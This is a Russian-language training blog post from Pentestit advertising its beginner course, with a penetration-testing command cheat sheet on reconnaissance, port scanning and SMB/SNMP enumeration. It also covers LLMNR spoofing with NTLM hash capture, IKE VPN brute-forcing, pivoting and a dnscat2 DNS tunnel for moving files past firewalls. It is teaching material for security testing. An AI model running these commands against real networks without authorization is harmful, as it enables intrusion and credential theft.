«Zero Security: A» — начальный уровень подготовки в области практической информационной безопасности

в 10:37, , рубрики: penetration testitng, pentestit, Блог компании PentestIT, информационная безопасность

image

Одним из основных направлений деятельности Pentestit является разработка специализированных программ начальной (Zero Security: A) и профессиональной (Корпоративные лаборатории) подготовки в области информационной безопасности. Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы разберем базис команд и полезных трюков при проведении тестирования на проникновение внешнего периметра.

Многие новички при работе в специализированных дистрибутивах (Kali Linux, BlackArch, BackBox и др.) сталкиваются с незнанием основного синтаксиса команд и простейшего инструментария при проведении тестирования на проникновение. Действительно, сейчас довольно много утилит и техник их использования, что поневоле "разбегаются глаза", что, когда и в каком случае применять. Для этого мы подготовили краткий справочник по основным командам и утилитам.

Справочник пентестера часть 1

Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.

Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия.

Конфигурация сети

Назначение IP-адреса

ifconfig eth0 xxx.xxx.xxx.xxx/24

Информация о подсети

ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT (сбор информации)

WHOIS:

whois domain-name-here.com

Выполнение DNS Lookup запросов:

dig @nameserver domainname.com A

Обнаружение MX записей:

dig @nameserver domainname.com MX

Выполнение запроса Zone Transfer используя DIG:

dig @nameserver domainname.com AXFR

DNS Трансфер зоны

Windows DNS трансфер зоны

nslookup -> set type=any -> ls -d blah.com

Linux DNS трансфер зоны

dig @ns1.blah.com blah.com axfr

Email

Используйте Simply Email для сбора почтовых адресов указанного домена из открытых источников (github, target site и т.п.). Утилита работает продуктивнее, если вы используете прокси и большие значения задержек, так, что google не будет считать активность подозрительной и выдавать капчу.

git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email может проверять обнаруженные email адреса после сбора.

Ручной finger printing / banner grabbing

Получение информации о SMTP сервисе через баннер

nc -v 192.168.1.1 25
telnet 192.168.1.1 25

Получение баннера при помощи NC

nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

DNS Брутфорс

DNSRecon

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml

Сканирование портов

Nmap сканирование с подробным выводом, метод syn, T4 скорость (подходит для LAN), получение информации о версии ОС и сервисов, traceroute и NSE скрипты в отношении найденных сервисов

nmap -v -sS -A -T4 target

То же, что и выше, сканирование всех TCP, даже если хост не отвечает на ICMP запросы (занимает больше времени)

nmap -v -sS -p- -A -T4 -Pn target

То же, что выше, + сканирование UDP диапазона (требует очень много времени)

nmap -v -sU -sS -p- -A -T4 target

Nmap скрипт для обнаружения уязвимых SMB серверов (ВНИМАНИЕ: unsafe=1 может вызвать ошибку на сервере)

nmap -v -p 445 --script=smb-check-vulns  --script-args=unsafe=1 192.168.1.X

Поиск NSE скриптов по регулярным выражениям

ls /usr/share/nmap/scripts/* | grep ftp

Nmap UDP cканирование

nmap -sU target

UDP Protocol Scanner

git clone https://github.com/portcullislabs/udp-proto-scanner.git

Команда для сканирования IP-адресов из файла по всем сервисам:

./udp-proto-scanner.pl -f ip.txt 

Сканирование определенного UDP сервиса:

udp-proto-scanner.pl -p ntp -f ips.txt

Другие методы для этапа host discovery, без использования nmap

Проверяет, доступен ли хост, путем отправки ARP запроса:

arping 192.168.1.1 -c 1

Обнаруживает IP, MAC адреса в подсети через ARP (может быть полезно для проверки VLAN):

netdiscover -r 192.168.1.0/24

Обнаружение и эксплуатация сетевых сервисов

Обнаружение SMB:

smblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Обнаруживает Windows/Samba серверы в подсети, определяет Windows MAC адреса, netbios имя и рабочую группу/домен

nbtscan 192.168.1.0/24

Определение версии SMB:

smbclient -L //192.168.1.100

Поиск SMB ресурсов:

nmap -T4 -v -oA shares --script=smb-enum-shares --script-args=smbuser=username,smbpass=password -p445 192.168.1.0/24

Обнаружение SMB пользователей:

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

Атака RID Cycling:

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Модуль Metasploit для атаки RID cycling:

use auxiliary/scanner/smb/smb_lookupsid 

Null session тестирование в ручном режиме

Windows:

net use \TARGETIPC$ "" /u:""

Linux:

smbclient -L //192.168.99.131

NBTScan unixwiz

apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing

Metasploit LLMNR / NetBIOS запросы:

Подмена/модификация LLMNR / NetBIOS запросов:

auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Перехват NTLM хэшей:

auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

Для взлома хэша NTLMv2 используйте john или hashcat.
Как альтернативу можно использовать responder.py.

git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

SNMP

Исправление SNMP значений в выводе для удобного восприятия:

apt-get install snmp-mibs-downloader download-mibs 
echo "" > /etc/snmp/snmp.conf

Обнаружение SNMP

snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|  grep hrSWRunName|cut -d* * -f 
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

Определение SNMPv3 серверов с nmap:

nmap -sV -p 161 --script=snmp-info target-subnet

Скрипт от Rory McCune’s помогает автоматизировать процесс поиска пользователей для SNMPv3:

https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Словари Metasploit содержат стандартные учетные данные для SNMP v1 и v2:

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Тестирование TLS & SSL

Тестирует всё на выбранном хосте и выводит в файл:

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Сеть

Перенаправление удаленного порта на локальный:

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

SSH Pivoting

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

SSH pivoting из одной подсети в другую:

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

(добавьте socks4 127.0.0.1 1010 в /etc/proxychains.conf)

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

(добавьте socks4 127.0.0.1 1011 в /etc/proxychains.conf)

Meterpreter Pivoting

portfwd add –l 3389 –p 3389 –r target
portfwd delete –l 3389 –p 3389 –r target

VLAN Hopping

Использование NCCGroups VLAN скприпт для Yersina упрощает процесс.

git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

Обнаружение VPN серверов

./udp-protocol-scanner.pl -p ike TARGET(s)

Сканирование диапозона VPN серверов:

./udp-protocol-scanner.pl -p ike -f ip.txt

Использование IKEForce для обнаружения или словарной атаки на VPN серверы.

pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Выполните обнаружение IKE VPN с помощью IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Брутфорс IKE VPN с помощьюIKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

Туннелирование трафика через DNS для обхода firewall

dnscat2 поддерживает “download” и “upload” команды для получения файлов (данные или программы) на и с целевой машины.
Машина атакующего:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Запуск dnscat2:

ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Атакуемая машина:

https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>


В следующих статьях я дополню справочник командами и трюками эксплуатации уязвимостей, брутфорса сетевых сервисов, примерами командных оболочек и т.д.


Заключение

Чтобы успешно противостоять злоумышленникам, необходимо хорошо знать методику и инструменты работы, что крайне сложно, учитывая их стремительное развитие. Программа курса обновляется раз в 3 месяца (через 1 набор), что позволяет давать актуальные и востребованные знания и практические навыки в области информационной безопасности.

Уникальность программы курса в подаче и закреплении материала — 20% теории и 80% практики. Постоянно обновляя методический материал и добавляя практические задания мы стараемся дать наиболее полный объем информации для того чтобы участники курса получили исчерпывающую информацию о современных угрозах и методах противодействия, открыли новые вектора развития в области практической информационной безопасности.

Ознакомиться с программой курса.

Автор: Pentestit

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js